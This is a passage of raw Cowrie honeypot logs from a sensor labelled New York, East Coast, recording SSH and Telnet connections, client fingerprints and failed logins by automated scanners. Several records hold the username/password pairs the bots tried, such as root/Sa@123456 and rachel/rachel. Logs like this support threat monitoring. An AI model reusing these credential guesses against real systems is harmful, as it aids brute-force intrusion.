f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:35.234793Z","src_ip":"102.223.92.101","session":"4d0d5074457e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sa@123456","message":"login attempt [root/Sa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:35.958618Z","src_ip":"102.223.92.101","session":"4d0d5074457e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:37.135097Z","src_ip":"102.223.92.101","session":"4d0d5074457e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":46184,"dst_ip":"159.203.135.109","dst_port":22,"session":"5088e47b7e37","protocol":"ssh","message":"New connection: 103.183.114.55:46184 (159.203.135.109:22) [session: 5088e47b7e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:39.727330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:39.735646Z","src_ip":"103.183.114.55","session":"5088e47b7e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.92299818992615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:39.920871Z","src_ip":"192.119.13.58","session":"b0ab56563bae","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:39.957424Z","src_ip":"103.183.114.55","session":"5088e47b7e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!","message":"login attempt [root/!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:40.865081Z","src_ip":"103.183.114.55","session":"5088e47b7e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:42.101053Z","src_ip":"103.183.114.55","session":"5088e47b7e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.809029340744019,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:43.097798Z","src_ip":"59.151.214.29","session":"a8e8307f135b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.423163652420044,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:44.017177Z","src_ip":"192.119.13.58","session":"6d4434ddee95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43510,"dst_ip":"10.17.0.5","dst_port":23,"session":"3943cb96573f","protocol":"telnet","message":"New connection: 192.119.13.58:43510 (10.17.0.5:23) [session: 3943cb96573f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:45.699559Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33068,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff22d4a353e4","protocol":"telnet","message":"New connection: 192.119.13.58:33068 (10.17.0.5:23) [session: ff22d4a353e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:50.382633Z"}
{"eventid":"cowrie.session.closed","duration":0.0059986114501953125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:50.388299Z","src_ip":"192.119.13.58","session":"ff22d4a353e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.929368019104004,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:52.021372Z","src_ip":"192.119.13.58","session":"a7ce90560011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40988,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af5bdcfd7e7","protocol":"ssh","message":"New connection: 147.45.199.80:40988 (10.17.0.5:22) [session: 8af5bdcfd7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:54.138180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:54.142719Z","src_ip":"147.45.199.80","session":"8af5bdcfd7e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:54.247271Z","src_ip":"147.45.199.80","session":"8af5bdcfd7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morozova","message":"login attempt [root/morozova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:54.561249Z","src_ip":"147.45.199.80","session":"8af5bdcfd7e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.12333536148071,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:55.046827Z","src_ip":"192.119.13.58","session":"9bcb60b5a0e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:55.659497Z","src_ip":"147.45.199.80","session":"8af5bdcfd7e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47404,"dst_ip":"10.17.0.5","dst_port":23,"session":"1822f284d59b","protocol":"telnet","message":"New connection: 192.119.13.58:47404 (10.17.0.5:23) [session: 1822f284d59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:08.592932Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":41854,"dst_ip":"159.203.135.109","dst_port":23,"session":"beef4b24412c","protocol":"telnet","message":"New connection: 186.195.16.41:41854 (159.203.135.109:23) [session: beef4b24412c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:17.127218Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54480,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b7e6687b9c8","protocol":"telnet","message":"New connection: 192.119.13.58:54480 (10.17.0.5:23) [session: 0b7e6687b9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:17.741534Z"}
{"eventid":"cowrie.session.closed","duration":39.9648597240448,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:25.664296Z","src_ip":"192.119.13.58","session":"3943cb96573f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213748455047607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:39.806546Z","src_ip":"192.119.13.58","session":"1822f284d59b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":39096,"dst_ip":"159.203.135.109","dst_port":22,"session":"47417b984791","protocol":"ssh","message":"New connection: 49.51.202.114:39096 (159.203.135.109:22) [session: 47417b984791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:40.407094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:40.412092Z","src_ip":"49.51.202.114","session":"47417b984791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:40.481160Z","src_ip":"49.51.202.114","session":"47417b984791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rachel","password":"rachel","message":"login attempt [rachel/rachel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:40.788800Z","src_ip":"49.51.202.114","session":"47417b984791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.002126455307,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:41.413134Z","src_ip":"186.195.16.41","session":"7e536273cc27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:41.860894Z","src_ip":"49.51.202.114","session":"47417b984791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":46574,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d3b98732a05","protocol":"ssh","message":"New connection: 102.223.92.101:46574 (159.203.135.109:22) [session: 0d3b98732a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:48.334496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:48.340332Z","src_ip":"102.223.92.101","session":"0d3b98732a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:48.513139Z","src_ip":"102.223.92.101","session":"0d3b98732a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"test","message":"login attempt [john/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:49.234661Z","src_ip":"102.223.92.101","session":"0d3b98732a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35184,"dst_ip":"10.17.0.5","dst_port":23,"session":"374e9c49762f","protocol":"telnet","message":"New connection: 192.119.13.58:35184 (10.17.0.5:23) [session: 374e9c49762f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:49.581929Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:50.410212Z","src_ip":"102.223.92.101","session":"0d3b98732a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"27ff1318ebd5","protocol":"ssh","message":"New connection: 185.92.182.129:57148 (10.17.0.5:22) [session: 27ff1318ebd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:53.365871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:53.445485Z","src_ip":"185.92.182.129","session":"27ff1318ebd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:53.520048Z","src_ip":"185.92.182.129","session":"27ff1318ebd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8866","message":"login attempt [root/8866] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:53.684109Z","src_ip":"185.92.182.129","session":"27ff1318ebd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:14:54.719741Z","src_ip":"185.92.182.129","session":"27ff1318ebd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.12569856643677,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:02.252785Z","src_ip":"186.195.16.41","session":"beef4b24412c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.75447130203247,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:03.495905Z","src_ip":"192.119.13.58","session":"0b7e6687b9c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48854,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbed314de34a","protocol":"telnet","message":"New connection: 192.119.13.58:48854 (10.17.0.5:23) [session: fbed314de34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:30.730629Z"}
{"eventid":"cowrie.session.closed","duration":44.20774483680725,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:33.789541Z","src_ip":"192.119.13.58","session":"374e9c49762f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58932,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a0ee8c5fef9","protocol":"telnet","message":"New connection: 192.119.13.58:58932 (10.17.0.5:23) [session: 0a0ee8c5fef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:34.323789Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba0eb9bc838a","protocol":"ssh","message":"New connection: 200.175.61.207:50778 (10.17.0.5:22) [session: ba0eb9bc838a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.083494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.088882Z","src_ip":"200.175.61.207","session":"ba0eb9bc838a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.235386Z","src_ip":"200.175.61.207","session":"ba0eb9bc838a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60246,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0574cf0ac98","protocol":"ssh","message":"New connection: 103.27.238.120:60246 (159.203.135.109:22) [session: b0574cf0ac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.250280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.255620Z","src_ip":"103.27.238.120","session":"b0574cf0ac98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","s